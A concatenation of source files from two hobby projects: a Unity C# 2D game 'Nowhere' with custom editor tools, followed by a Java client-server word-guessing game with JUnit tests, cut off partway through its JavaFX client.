float _height = EditorGUIUtility.singleLineHeight + 3;
if (templates[_index].AreSettingsUnfolded)
_height *= 4;
return _height;
}
private void OnTemplatesAdd(ReorderableList _list)
{
if (templates.Count > 0)
{
SpriteTemplate _lastTemplate = templates[templates.Count - 1];
SpriteTemplate _template = new SpriteTemplate()
{
DoBakeLights = _lastTemplate.DoBakeLights,
DoUsePowerOfTwoTexture = _lastTemplate.DoUsePowerOfTwoTexture,
Layer = _lastTemplate.Layer,
OrderInLayer = _lastTemplate.OrderInLayer,
Material = _lastTemplate.Material,
};
templates.Add(_template);
}
else
templates.Add(new SpriteTemplate());
}
#endregion
#endregion
#region Editor Window
[MenuItem("Tools/Sprite Handler")]
public static void Get() => GetWindow(typeof(SpriteHandler)).Show();
// -----------------------
private void OnEnable()
{
// Load settings.
string _prefs = EditorPrefs.GetString(editorPrefsKey, string.Empty);
if (!string.IsNullOrEmpty(_prefs))
JsonUtility.FromJsonOverwrite(_prefs, this);
// Load sprites on enable.
LoadSprites();
// Remove obsolete saved scene groups.
string[] _allScenes = Array.ConvertAll(AssetDatabase.FindAssets("t:Scene"), AssetDatabase.GUIDToAssetPath);
for (int _i = 0; _i < _allScenes.Length; _i++)
{
_allScenes[_i] = Path.GetFileNameWithoutExtension(_allScenes[_i]);
}
for (int _i = 0; _i < sceneGroupsName.Count; _i++)
{
if (!_allScenes.Contains(sceneGroupsName[_i]))
{
sceneGroups.RemoveAt(_i);
sceneGroupsName.RemoveAt(_i);
_i--;
}
}
// Initialize templates list.
templatesList = new ReorderableList(templates, typeof(SpriteTemplate), true, true, true, true)
{
headerHeight = (EditorGUIUtility.singleLineHeight * 3) + 3,
elementHeightCallback = GetTemplatesElementHeight,
drawHeaderCallback = DrawTemplatesHeader,
drawElementCallback = DrawTemplatesElement,
onAddCallback = OnTemplatesAdd
};
}
private void OnDisable()
{
// Save settings.
EditorPrefs.SetString(editorPrefsKey, JsonUtility.ToJson(this));
}
// -----------------------
private Vector2 scrollbar = new Vector2();
private void OnGUI()
{
// Toolbar draw.
EditorGUILayout.BeginHorizontal(EditorStyles.toolbar);
switch (mode)
{
case 0:
break;
case 1:
DrawColorManagerToolbar();
break;
case 2:
break;
default:
break;
}
EditorGUILayout.EndHorizontal();
GUILayout.Space(5);
mode = GUILayout.Toolbar(mode, modes, GUILayout.Height(25), GUILayout.ExpandWidth(true));
scrollbar = EditorGUILayout.BeginScrollView(scrollbar);
switch (mode)
{
case 0:
DrawGeneralMode();
break;
case 1:
DrawColorManager();
break;
case 2:
DrawSpriteScraper();
break;
default:
break;
}
EditorGUILayout.EndScrollView();
}
#endregion
}
[Serializable]
public class SpriteTemplate
{
#region Fields
public Transform Root = null;
public bool IsSelected = true;
public bool DoBakeLights = true;
public bool DoUsePowerOfTwoTexture = true;
public bool AreSettingsUnfolded = false;
public int Layer = 0;
public int OrderInLayer = 0;
public Material Material = null;
#endregion
}
[Serializable]
public class ColorGroup
{
#region Fields
public string Name = "? New Color Group ?";
public bool isSelected = false;
public Color Color;
public List<SpriteRenderer> Sprites = new List<SpriteRenderer>();
#endregion
#region Constructors
public ColorGroup(Color _color, string _name)
{
Color = _color;
Name = _name;
Sprites = new List<SpriteRenderer>();
}
public ColorGroup(Color _color, IEnumerable<SpriteRenderer> _sprites)
{
Color = _color;
Sprites = new List<SpriteRenderer>(_sprites);
}
#endregion
}
<file_sep>/Assets/Scripts/Combat/Striker.cs
// ======= Created by <NAME> - https://github.com/LucasJoestar ======= //
//
// Notes :
//
// ========================================================================== //
using EnhancedEditor;
using System.Collections.Generic;
using UnityEngine;
namespace Nowhere
{
public class Striker : UpdatedBehaviour, IUpdate
{
#region Fields
[HorizontalLine(1, order = 0), Section("STRIKER", 50, 0, order = 1), HorizontalLine(2, SuperColor.HarvestGold, order = 2)]
[SerializeField, Required] private Collider2D strikeBox = null;
[SerializeField, Required] private Collider2D hitBox = null;
[HorizontalLine(2, SuperColor.SalmonPink)]
[SerializeField] protected Attack[] attacks = new Attack[] { };
[HorizontalLine(2, SuperColor.Lavender)]
[SerializeField, ReadOnly] protected bool isAttacking = false;
[SerializeField, ReadOnly] protected Attack activeAttack = null;
// --------------
#if UNITY_EDITOR
[HorizontalLine(2, SuperColor.Brown)]
[SerializeField] private bool doDrawStrikeBox = false;
#endif
// --------------
protected ContactFilter2D contactFilter = new ContactFilter2D();
#endregion
#region Methods
#region Attack System
/// <summary>
/// Activates the attack from <see cref="attacks"/> at the specified index.
/// </summary>
protected virtual void ActivateAttack(int _attackIndex)
{
if (!isAttacking)
UpdateManager.Instance.Register(this);
isAttacking = true;
activeAttack = attacks[_attackIndex];
attackVictims.Clear();
}
public virtual void StopAttack()
{
if (isAttacking)
UpdateManager.Instance.Unregister(this);
isAttacking = false;
activeAttack = null;
}
// -----------------
protected List<Collider2D> attackVictims = new List<Collider2D>();
private static Collider2D[] overlapBuffer = new Collider2D[6];
private static int overlapBufferAmount = 0;
/// <summary>
/// While active, strike all overlapping objects once.
/// </summary>
void IUpdate.Update()
{
overlapBufferAmount = strikeBox.OverlapCollider(contactFilter, overlapBuffer);
for (int _i = 0; _i < overlapBufferAmount; _i++)
{
if ((overlapBuffer[_i] != hitBox) && !attackVictims.Contains(overlapBuffer[_i]))
{
attackVictims.Add(overlapBuffer[_i]);
Strike(overlapBuffer[_i].GetComponentInParent<Damageable>());
}
}
}
/// <summary>
/// Strike an opponent and deal damages.
/// </summary>
protected virtual void Strike(Damageable _victim)
{
_victim.TakeDamage(activeAttack.Damages);
}
#endregion
#region Monobehaviour
protected override void OnDisableCallback()
{
StopAttack();
}
private void Start()
{
// Set up contact filter.
contactFilter.layerMask = Physics2D.GetLayerCollisionMask(strikeBox.gameObject.layer);
contactFilter.useLayerMask = true;
contactFilter.useTriggers = true;
}
#if UNITY_EDITOR
private static readonly Color gizmosColor = new Color(1, 0, 0, .5f);
private void OnDrawGizmos()
{
if ((doDrawStrikeBox || isAttacking) && strikeBox)
{
Color _originalColor = Gizmos.color;
Gizmos.color = gizmosColor;
Gizmos.DrawCube(strikeBox.bounds.center, strikeBox.bounds.size);
Gizmos.color = _originalColor;
}
}
#endif
#endregion
#endregion
}
}
<file_sep>/Assets/EnhancedEditor/Scripts/Core/Attributes/Decorators/SectionAttribute.cs
using System;
using UnityEngine;
namespace EnhancedEditor
{
[AttributeUsage(AttributeTargets.Field, AllowMultiple = true, Inherited = true)]
public class SectionAttribute : PropertyAttribute
{
#region Fields
/*****************************
******* CONSTANTS *******
****************************/
/// <summary>
/// Default space on top and bottom of the section (in pixels).
/// </summary>
public const float DefaultHeightSpace = 5;
/// <summary>
/// Default width of the lines surrounding the label (in pixels).
/// </summary>
public const float DefaultLineWidth = 50;
/**************************
******* FIELDS *******
*************************/
/// <summary>
/// Space on top and bottom of the section (in pixels).
/// </summary>
public readonly float HeightSpace = DefaultHeightSpace;
/// <summary>
/// Width of the lines surrounding the label (in pixels).
/// </summary>
public readonly float LineWidth = DefaultLineWidth;
/// <summary>
/// Label of the section.
/// </summary>
public readonly GUIContent Label = null;
#endregion
#region Constructors
/********************************
******* CONSTRUCTORS *******
*******************************/
/// <summary>
/// Draw a label surrounded by horizontal lines.
/// </summary>
/// <param name="_label">Displayed label.</param>
/// <param name="_lineWidth">Width of the lines surrounding the label (in pixels).</param>
/// <param name="_heightSpace">Space on top and bottom of the section (in pixels)</param>
public SectionAttribute(string _label, float _lineWidth = DefaultLineWidth, float _heightSpace = DefaultHeightSpace)
{
Label = new GUIContent(_label);
LineWidth = Mathf.Max(0, _lineWidth);
HeightSpace = Mathf.Max(0, _heightSpace);
}
#endregion
}
}
<file_sep>/Assets/EnhancedEditor/Scripts/Core/Attributes/Decorators/HelpBoxAttribute.cs
using System;
using UnityEngine;
namespace EnhancedEditor
{
[AttributeUsage(AttributeTargets.Field, AllowMultiple = true, Inherited = true)]
public class HelpBoxAttribute : PropertyAttribute
{
#region Fields
/**************************
******* FIELDS *******
*************************/
/// <summary>
/// Type of help box do display.
/// </summary>
public readonly HelpBoxType Type = HelpBoxType.Info;
/// <summary>
/// Label displayed in the box.
/// </summary>
public readonly string Label = string.Empty;
#endregion
#region Constructors
/********************************
******* CONSTRUCTORS *******
*******************************/
/// <summary>
/// Display a help box with a message in the editor.
/// </summary>
/// <param name="_label">Label to display in the box.</param>
/// <param name="_type">Type of box to display.</param>
public HelpBoxAttribute(string _label, HelpBoxType _type)
{
Type = _type;
Label = _label;
}
#endregion
}
}
<file_sep>/Assets/EnhancedEditor/Scripts/Editor/Attributes/DecoratorDrawers/HorizontalLineDecoratorDrawer.cs
using UnityEditor;
using UnityEngine;
namespace EnhancedEditor.Editor
{
[CustomPropertyDrawer(typeof(HorizontalLineAttribute))]
public class HorizontalLineDecoratorDrawer : DecoratorDrawer
{
#region Methods
/***************************
******* METHODS *******
***************************/
// Specify how tall the GUI for this decorator is in pixels
public override float GetHeight()
{
return ((HorizontalLineAttribute)attribute).Height + EditorGUIUtility.singleLineHeight;
}
// Make your own GUI for the decorator
public override void OnGUI(Rect _position)
{
HorizontalLineAttribute _attribute = (HorizontalLineAttribute)attribute;
// Set position at the middle of the area and line height
_position.y += (EditorGUIUtility.singleLineHeight / 2f) - 1;
_position.height = _attribute.Height;
// Draw line at rect
EditorGUIEnhanced.HorizontalLine(_position, _attribute.Width, _attribute.Color.GetColor());
}
#endregion
}
}
<file_sep>/Assets/Scripts/Core Systems/System Datas/ProgramSettings.cs
// ======= Created by <NAME> - https://github.com/LucasJoestar ======= //
//
// Notes :
//
// All variables contained here are accessible for design tests and iterations,
// and should be remplaced by constants once fixed values have been assigned.
//
// ========================================================================== //
using EnhancedEditor;
using UnityEngine;
namespace Nowhere
{
[CreateAssetMenu(fileName = "ProgramSettings", menuName = "Datas/Program Settings", order = 50)]
public class ProgramSettings : ScriptableObject
{
/// <summary>
/// Short way to write <see cref="GameManager.Instance"/>.ProgramSettings.
/// </summary>
public static ProgramSettings I { get { return GameManager.Instance.ProgramSettings; } }
#region Physics
// -------------------------------------------
// Physics
// -------------------------------------------
[HorizontalLine(1, order = 0), Section("PHYSICS SETTINGS", order = 1), Space(order = 2)]
[Max(0)] public float MaxGravity = -25;
[Min(0)] public float GroundClimbHeight = .7f;
[Min(0)] public float GroundSnapHeight = .2f;
[Min(.01f)] public float GroundMinYNormal = .01f;
[Range(0, 1)] public float OnGroundedHorizontalForceMultiplier = .55f;
[HorizontalLine(1)]
[Min(0)] public float GroundDecelerationForce = 12.5f;
[Min(0)] public float AirDecelerationForce = 5f;
#endregion
}
}
<file_sep>/Assets/EnhancedEditor/Scripts/Core/Attributes/Properties/ProgressBarAttribute.cs
using System;
using UnityEngine;
namespace EnhancedEditor
{
[AttributeUsage(AttributeTargets.Field, AllowMultiple = false, Inherited = true)]
public class ProgressBarAttribute : PropertyAttribute
{
#region Fields
/*****************************
******* CONSTANTS *******
****************************/
/// <summary>
/// Default progress bar height (in pixels).
/// </summary>
public const float DefaultHeight = 25;
/// <summary>
/// Default progress bar color.
/// </summary>
public const SuperColor DefaultColor = SuperColor.Sapphire;
/**************************
******* FIELDS *******
*************************/
/// <summary>
/// Should this progress bar be editable in inspector.
/// </summary>
public readonly bool IsEditable = false;
/// <summary>
/// This progress bar height (in pixels).
/// </summary>
public readonly float Height = 25;
/// <summary>
/// Progress bar maximum value.
/// </summary>
public readonly float MaxValue = 0;
/// <summary>
/// Label displayed at the center of the progress bar.
/// </summary>
public readonly string Label = string.Empty;
/// <summary>
/// Name of the variable acting as progress bar maximum value.
/// </summary>
public readonly string MaxValueVariableName = string.Empty;
/// <summary>
/// Color of this progress bar.
/// </summary>
public readonly SuperColor Color = SuperColor.Sapphire;
#endregion
#region Constructors
/********************************
******* CONSTRUCTORS *******
*******************************/
/// <summary>
/// Draws a progress bar.
/// </summary>
/// <param name="_color">Progress bar color.</param>
/// <param name="_height">Progress bar height (in pixels).</param>
/// <param name="_isEditable">Should this progress bar be editable in inspector.</param>
private ProgressBarAttribute(SuperColor _color, float _height, bool _isEditable = false)
{
Color = _color;
Height = Mathf.Max(1, _height);
IsEditable = _isEditable;
}
/// <summary>
/// Draws this field as a progress bar.
/// </summary>
/// <param name="_maxValue">Progress bar maximum value.</param>
/// <param name="_color">Progress bar color.</param>
/// <param name="_height">Progress bar height (in pixels).</param>
/// <param name="_isEditable">Should this progress bar be editable in inspector.</param>
public ProgressBarAttribute(float _maxValue, SuperColor _color = DefaultColor, float _height = DefaultHeight, bool _isEditable = false) : this(_color, _height, _isEditable)
{
MaxValue = Mathf.Max(.1f, _maxValue);
}
/// <summary>
/// Draws this field as a progress bar.
/// </summary>
/// <param name="_label">Label displayed at the middle of the progress bar.</param>
/// <param name="_maxValue">Progress bar maximum value.</param>
/// <param name="_color">Progress bar color.</param>
/// <param name="_height">Progress bar height (in pixels).</param>
/// <param name="_isEditable">Should this progress bar be editable in inspector.</param>
public ProgressBarAttribute(string _label, float _maxValue, SuperColor _color = DefaultColor, float _height = DefaultHeight, bool _isEditable = false) : this(_maxValue, _color, _height, _isEditable)
{
Label = _label;
}
/// <summary>
/// Draws this field as a progress bar.
/// </summary>
/// <param name="_maxValueVariableName">Name of the variable acting as this progress bar maximum value.</param>
/// <param name="_color">Progress bar color.</param>
/// <param name="_height">Progress bar height (in pixels).</param>
/// <param name="_isEditable">Should this progress bar be editable in inspector.</param>
public ProgressBarAttribute(string _maxValueVariableName, SuperColor _color = DefaultColor, float _height = DefaultHeight, bool _isEditable = false) : this(_color, _height, _isEditable)
{
MaxValueVariableName = _maxValueVariableName;
}
/// <summary>
/// Draws this field as a progress bar.
/// </summary>
/// <param name="_label">Label displayed at the middle of the progress bar.</param>
/// <param name="_maxValueVariableName">Name of the variable acting as this progress bar maximum value.</param>
/// <param name="_color">Progress bar color.</param>
/// <param name="_height">Progress bar height (in pixels).</param>
/// <param name="_isEditable">Should this progress bar be editable in inspector.</param>
public ProgressBarAttribute(string _label, string _maxValueVariableName, SuperColor _color = DefaultColor, float _height = DefaultHeight, bool _isEditable = false) : this(_maxValueVariableName, _color, _height, _isEditable)
{
Label = _label;
}
#endregion
}
}
<file_sep>/Assets/Scripts/Core Systems/GameManager.cs
// ======= Created by <NAME> - https://github.com/LucasJoestar ======= //
//
// Notes :
//
// ========================================================================== //
using EnhancedEditor;
using System.Collections;
using UnityEngine;
namespace Nowhere
{
public class GameManager : MonoBehaviour
{
#region Fields / Properties
/// <summary>
/// Singleton instance.
/// </summary>
public static GameManager Instance { get; private set; }
// -----------------------
[SerializeField, Required] private ProgramSettings programSettings = null;
/// <summary>
/// Global Program Settings (can be accessed through <see cref="ProgramSettings.I"/>).
/// </summary>
public ProgramSettings ProgramSettings { get { return programSettings; } }
// -----------------------
[SerializeField, ReadOnly] private bool isGamePaused = false;
public bool IsGamePaused { get { return isGamePaused; } }
// -----------------------
public bool IsQuittingApplication { get; private set; } = false;
#endregion
#region Methods
#region Time
private Coroutine sleepCoroutine = null;
private float sleepTimer = 0;
// -----------------------
/// <summary>
/// Make the application "sleep" (set time scale to zero) for a certain duration (cumulative).
/// </summary>
public void Sleep(float _duration)
{
sleepTimer += _duration;
if (sleepCoroutine == null)
sleepCoroutine = StartCoroutine(DoSleep());
}
private IEnumerator DoSleep()
{
Time.timeScale = 0;
isGamePaused = true;
while (sleepTimer > 0)
{
yield return null;
sleepTimer -= Time.unscaledDeltaTime;
}
isGamePaused = false;
Time.timeScale = 1;
sleepCoroutine = null;
}
#endregion
#region Monobehaviour
private void Awake()
{
// Singleton set.
if (!Instance)
Instance = this;
else
Destroy(gameObject);
}
private void Start()
{
#if !UNITY_EDITOR
UnityEngine.SceneManagement.SceneManager.LoadScene(1, UnityEngine.SceneManagement.LoadSceneMode.Additive);
#endif
}
private void OnApplicationQuit()
{
IsQuittingApplication = true;
}
#endregion
#endregion
}
}
<file_sep>/Assets/Tools/Auto Saver/Editor/AutoSaver.cs
// ======= Created by <NAME> - https://github.com/LucasJoestar ======= //
//
// Notes :
//
// ========================================================================== //
using UnityEditor;
using UnityEditor.SceneManagement;
using UnityEngine;
public class AutoSaver : EditorWindow
{
#region Fields
[SerializeField] private bool isAutoSave = false;
[SerializeField] private int saveInterval = 300;
private double nextSaveTime = 0;
#endregion
#region Methods
[MenuItem("Tools/Auto Saver")]
public static void Get() => GetWindow(typeof(AutoSaver)).Show();
private void SaveScenes()
{
// If the application is playing, do not save
if (EditorApplication.isPlaying)
return;
if (EditorSceneManager.SaveOpenScenes())
{
nextSaveTime = EditorApplication.timeSinceStartup + saveInterval;
}
else
{
nextSaveTime = EditorApplication.timeSinceStartup + 30;
Debug.LogWarning("Scene not saved correctly ! Another try in 30 seconds.");
}
}
// -----------------------
private const string nextSaveGUI = "Next Save in :";
private readonly GUIContent autoSaveGUI = new GUIContent("Auto Save :", "Activate or deactive auto save.");
private readonly GUIContent saveIntervalGUI = new GUIContent("Save Interval (in seconds) : ", "Interval in seconds between each auto save.");
private void OnGUI()
{
EditorGUI.BeginChangeCheck();
isAutoSave = EditorGUILayout.Toggle(autoSaveGUI, isAutoSave);
// Save the scene when auto save is set enabled.
if (EditorGUI.EndChangeCheck() && isAutoSave)
SaveScenes();
// ---------- Show Time Values ---------- //
EditorGUILayout.Space();
if (isAutoSave)
{
EditorGUI.BeginChangeCheck();
saveInterval = EditorGUILayout.IntField(saveIntervalGUI, saveInterval);
if (EditorGUI.EndChangeCheck())
nextSaveTime = EditorApplication.timeSinceStartup + saveInterval;
EditorGUILayout.LabelField(nextSaveGUI, ((int)(nextSaveTime - EditorApplication.timeSinceStartup)).ToString());
// Used to display accurate remaining time before next save.
Repaint();
}
else
{
saveInterval = EditorGUILayout.IntField(saveIntervalGUI, saveInterval);
}
}
void Update()
{
if (isAutoSave && !EditorApplication.isPlaying && (EditorApplication.timeSinceStartup >= nextSaveTime))
SaveScenes();
}
#endregion
}
<file_sep>/Assets/Scripts/Combat/Attack.cs
// ======= Created by <NAME> - https://github.com/LucasJoestar ======= //
//
// Notes :
//
// ========================================================================== //
using UnityEngine;
namespace Nowhere
{
[CreateAssetMenu(fileName = "Attack", menuName = "Datas/Attack", order = 50)]
public class Attack : ScriptableObject
{
#region Fields
[Min(0)] public int Damages = 3;
#endregion
}
}
<file_sep>/Assets/EnhancedEditor/Scripts/Core/Attributes/Properties/ReadOnlyAttribute.cs
using System;
using UnityEngine;
namespace EnhancedEditor
{
[AttributeUsage(AttributeTargets.Field, AllowMultiple = false, Inherited = true)]
public class ReadOnlyAttribute : PropertyAttribute
{
#region Fields
/**************************
******* FIELDS *******
*************************/
/// <summary>
/// If associated field is boolean, indicates if using radio toggle
/// instead or classic one.
/// </summary>
public readonly bool UseRadioToggle = true;
#endregion
#region Constructors
/********************************
******* CONSTRUCTORS *******
*******************************/
/// <summary>
/// Draw a non editable field in the inspector.
/// </summary>
/// <param name="_useRadioToggle">If associated field is boolean, indicates if using radio toggle or classic one.</param>
public ReadOnlyAttribute(bool _useRadioToggle = true)
{
UseRadioToggle = _useRadioToggle;
}
#endregion
}
}
<file_sep>/Assets/Scripts/Player/PlayerControllerAttributes.cs
// ======= Created by <NAME> - https://github.com/LucasJoestar ======= //
//
// Notes :
//
// All variables contained here are for accessible for design tests and iterations,
// and the maximum of them should be remplaced by constants once fixed values have been assigned.
//
// ========================================================================== //
using EnhancedEditor;
using UnityEngine;
namespace Nowhere
{
[CreateAssetMenu(fileName = "PlayerControllerAttributes", menuName = "Datas/Player Controller Attributes", order = 50)]
public class PlayerControllerAttributes : ScriptableObject
{
#region Attributes
[HorizontalLine(1, order = 0), Section("PLAYER CONTROLLER ATTRIBUTES", order = 1), Space(order = 2)]
public AnimationCurve SpeedCurve = null;
[Range(0, 1)] public float AirSpeedAccelCoef = .65f;
[HorizontalLine(1)]
[Min(0)] public float GroundMovementDecel = 75f;
[Min(0)] public float AirMovementDecel = 50f;
[HorizontalLine(1)]
[Min(0)] public float GroundAboutTurnAccel = 6f;
[Min(0)] public float AirAboutTurnAccel = 5f;
[HorizontalLine(2, SuperColor.Raspberry)]
public AnimationCurve HighJumpCurve = null;
[Min(0)] public float CoyoteTime = .25f;
[Min(0)] public float JumpBufferTime = .15f;
[Min(0)] public float JumpPeekDifference = 7f;
[HorizontalLine(2, SuperColor.Sapphire)]
public AnimationCurve WallJumpCurve = null;
[Max(0)] public float WallJumpHorizontalForce = -6;
[Min(0)] public float WallJumpGap = .25f;
[Min(0)] public float WallStuckTakeOffInertia = 5f;
[Range(0, 1)] public float WallStuckGravityCoef = .5f;
[Range(0, 1)] public float WallStuckMinGravityCoef = .75f;
[HorizontalLine(2, SuperColor.Green)]
[Min(0)] public float SlideDuration = .75f;
[Min(0)] public float SlideMaxMomentumCoef = 1.25f;
[Min(0)] public float SlideMinMomentumCoef = .85f;
[Min(1)] public float SlideOnLandCoef = 1.1f;
[Min(0)] public float SlideForceCoef = .5f;
[Min(0)] public float SlideRequiredVelocity = 10f;
[Min(0)] public float SlideBufferTime = .15f;
[HorizontalLine(1)]
[Min(0)] public float CrouchSpeedCoef = .75f;
[HorizontalLine(1)]
public Bounds colliderBounds = new Bounds();
[HorizontalLine(2, SuperColor.Chocolate)]
[Min(0)] public float DashDuration = .5f;
[Min(0)] public float DashBoostSpeed = 25;
[Min(0)] public float DashNormalSpeed = 18;
[Min(0)] public float DashBreakSpeed = 7;
[Range(0, 100)] public int DashBoostPercent = 10;
[Range(0, 100)] public int DashBreakPercent = 25;
[Range(0, 100)] public int DashBoostTransitPercent = 2;
[Range(0, 100)] public int DashBreakTransitPercent = 2;
#endregion
}
}
|
4a3ef74d4aefae19181b7a20f08ff430fe674fac
|
[
"C#"
] | 47 |
C#
|
LucasJoestar/Nowhere
|
809ae5fc984893a45b156de29750458a42e6c81e
|
f0d47fd232493665835ab740f0abea7c71ba63ae
|
refs/heads/master
|
<file_sep>import time
from selenium import webdriver
import secrets
from selenium.webdriver.chrome.options import Options
chrome_options = webdriver.ChromeOptions()
chrome_options.add_argument('--headless')
driver = webdriver.Chrome(options=chrome_options)
driver.get('https://webchartnow.com/bostonuniv/webchart.cgi')
user = driver.find_element_by_id('j_username')
password = driver.find_element_by_id('j_password')
user.send_keys(secrets.USERNAME)
password.send_keys(secrets.PASSWORD)
driver.find_element_by_class_name('input-submit').click()
# We are now logged in answer the survey
time.sleep(10)
btncontainer = driver.find_element_by_id('btn-container')
covid_buttons = btncontainer.find_elements_by_class_name('portal-btn-inner')
symptom_button = covid_buttons[1]
symptom_button.click()
time.sleep(5)
yes_button = driver.find_element_by_class_name('yes_btn')
yes_button.click()
time.sleep(3)
# Fill out phone number
phone_number_input = driver.find_elements_by_class_name("quest-userin")[0]
phone_number_input.send_keys(secrets.PHONE_NUMBER)
no_buttons = driver.find_elements_by_class_name('no_btn')
for button in no_buttons[1:]:
button.click()
time.sleep(2)
driver.find_elements_by_class_name("form-save")[0].click()
<file_sep>USERNAME="<your-bu-username-here>"
PASSWORD="<<PASSWORD>>"
|
87c082ca493867535761606dbc678cf8131137a0
|
[
"Python"
] | 2 |
Python
|
weirdindiankid/healthway
|
318006e634361341d4156483c35393c1be6d1d4e
|
d48d948f050613160949253611900d77ba9b9f0f
|
refs/heads/main
|
<file_sep>import static org.junit.jupiter.api.Assertions.*;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.ValueSource;
class GuessTest {
GameTracker t;
@BeforeEach
void init() {
t = new GameTracker();
}
@Test
void testInitializationTracker() {
assertEquals("GameTracker", t.getClass().getName(), "GameTracker not initialized correctly");
}
//Resets tracker values
@Test
void testResetTracker() {
assertEquals("", t.category1Word, "Tracker not reset properly");
}
//Resets tracker values
@Test
void testArrayResetTracker() {
assertEquals(0, t.usedWords.size(), "ArrayList not properly cleared out");
}
@Test
void testIsInArrTrue() {
t.usedWords.add("String");
assertTrue(t.isInArr("String"), "Is in array function not working");
}
@Test
void testIsInArrMultiple() {
t.usedWords.add("String");
t.usedWords.add("Test");
t.usedWords.add("Toy");
assertTrue(t.isInArr("Toy"), "Is in array function not working");
}
}
<file_sep>import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.net.Socket;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Scanner;
import java.util.function.Consumer;
import javafx.application.Application;
import javafx.application.Platform;
import javafx.geometry.Insets;
import javafx.geometry.Pos;
import javafx.scene.Scene;
import javafx.scene.control.Button;
import javafx.scene.control.ComboBox;
import javafx.scene.control.Label;
import javafx.scene.control.ListView;
import javafx.scene.control.TextField;
import javafx.scene.image.Image;
import javafx.scene.image.ImageView;
import javafx.scene.layout.BorderPane;
import javafx.scene.layout.HBox;
import javafx.scene.layout.VBox;
import javafx.scene.paint.Color;
import javafx.scene.text.Font;
import javafx.stage.Stage;
/*
* This is the client code for the game
* The client changes certain variables in GameCommunicator and sends it back to server for answers
* such as if letter is in word to guess, number of letters, and number of remaining guesses
*/
public class WordGuessClientRG extends Application {
//Game info variables
int clientNum = -1;
GameCommunicator info = new GameCommunicator(-1);
Client clientConnection;
Stage pStage;
ArrayList<Character> usedLetters = new ArrayList<Character>();
static int port = 5555;
static String ip = "127.0.0.1";
// Constants for the size of the window
public static final int WIDTH = 480;
public static final int HEIGHT = 270;
// Values for what attempt this is, what player we are, etc
int attemptNumber, playerNumber, guessesLeft;
String category = "blank.";
String currentWord = "____";
String categorySceneTitle = "Let's Guess Words!";
String resultsSceneTitle = "Congratulations! You've finished the game!";
// Map that contains the different scenes
HashMap<String, Scene> sceneMap;
Label guessesLabel;
Label attemptLabel;
Label titleLabel;
Label resultsTitleLabel;
//sends the player's guess to the server to be checked
public void playerGuess(GameCommunicator player)
{
//allow the player to pick which category they want
//player.category = (user pick);
info.category = player.category;
//word is picked and the number
//take in user input and add it to player and info
//player.guess = (user input);
info.guess = player.guess; //send it back to the server
player.nextRound(); //sets up for the next round of guessing
}
//This is a inner class that constructs a client socket
public class Client extends Thread{
Socket socketClient;
ObjectOutputStream out;
ObjectInputStream in;
private Consumer<Serializable> callback;
Client(Consumer<Serializable> call){
callback = call;
}
//Sends data to server
public void send(GameCommunicator data) {
try {
out.writeObject(data);
out.reset();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
//This is where the program runs and takes care of all incoming data
public void run() {
try {
socketClient= new Socket(ip, port);
out = new ObjectOutputStream(socketClient.getOutputStream());
in = new ObjectInputStream(socketClient.getInputStream());
socketClient.setTcpNoDelay(true);
System.out.println("Connected to server");
}
catch(Exception e) {System.out.println("Error");}
while(true) {
try
{
GameCommunicator message = (GameCommunicator) in.readObject();
callback.accept(message);
info.copyVals(message);
clientNum = info.clientNum;
if(message.gameLost || message.gameWon) {
//Change screen to win/ lose screen
Platform.runLater( new Runnable() {
public void run() {
pStage.setScene(createResultsScene(pStage, message));
pStage.show();
}
});
}
//When client needs to choose from a category
else if(message.category == -1 && message.numLetters == -1) {
info = message;
clientNum = message.clientNum;
//change stage to pick category
Platform.runLater( new Runnable() {
public void run() {
pStage.setScene(createCategoryScene(pStage, message));
pStage.show();
}
});
}
//When client gets object back after it sends category in
else if(message.category != -1 && message.numLetters != -1 && !message.categoryWon && !message.categoryLose) {
//change stage to gameplay
Platform.runLater( new Runnable() {
public void run() {
pStage.setScene(createGameplayScene(pStage, message));
pStage.show();
}
});
}
else if(message.categoryLose || message.categoryWon) {
//Resets variables for next round
message.nextRound();
//change stage to pick category
Platform.runLater( new Runnable() {
public void run() {
pStage.setScene(createCategoryScene(pStage, message));
pStage.show();
}
});
}
}
catch(Exception e) {}
}
}
}
// Method that creates the first scene to put in the server info
public Scene createStartScene(Stage stage)
{
// Create labels that go next to fields
Label greeting, enterPort, enterIP;
greeting = new Label("Greetings!");
enterPort = new Label("Enter port #: ");
enterIP = new Label("Enter IP address: ");
// Create the fields for entering port and ip
TextField portField, ipField;
portField = new TextField("5555");
ipField = new TextField("127.0.0.1");
// Create the button to try and connect to the server
Button enterButton = new Button("Enter");
enterButton.setOnAction(e -> {
ip = ipField.getText();
port = Integer.parseInt(portField.getText());
stage.setScene(createWaitingGui(pStage));
clientConnection = new Client((data) -> {
Platform.runLater(()->{
info = (GameCommunicator)data;
});
});
clientConnection.start();
});
// Organize all the nodes
HBox portLine = new HBox(8, enterPort, portField);
HBox ipLine = new HBox(8, enterIP, ipField);
portLine.setAlignment(Pos.CENTER);
ipLine.setAlignment(Pos.CENTER);
VBox sceneLayout = new VBox(8, greeting, portLine, ipLine, enterButton);
sceneLayout.setAlignment(Pos.CENTER);
sceneLayout.setPadding(new Insets(16, 16, 16, 16));
BorderPane mainPane = new BorderPane();
mainPane.setCenter(sceneLayout);
mainPane.setStyle("-fx-background-color: #ff00ff");
return new Scene(mainPane, WIDTH, HEIGHT);
}// end createStartScene()
// Method that creates the scene to pick a category
public Scene createCategoryScene(Stage stage, GameCommunicator c)
{
// Label that contains the attempt number
int attemptTotalCat = c.attemptCat1 + c.attemptCat2 + c.attemptCat3 + 1;
if(!c.canPickCat1)
attemptTotalCat++;
if(!c.canPickCat2)
attemptTotalCat++;
if(!c.canPickCat3)
attemptTotalCat++;
attemptLabel = new Label("Attempt #" + attemptTotalCat);
attemptLabel.setAlignment(Pos.TOP_LEFT);
attemptLabel.setPadding(new Insets(8, 8, 8, 8));
// Label that contains the player number
Label playerLabel = new Label("You are player #" + clientNum);
playerLabel.setAlignment(Pos.BOTTOM_RIGHT);
playerLabel.setPadding(new Insets(8, 8, 8, 8));
titleLabel = new Label(categorySceneTitle);
Label categoryLabel = new Label("Pick a category! ");
// Create the dropdown list
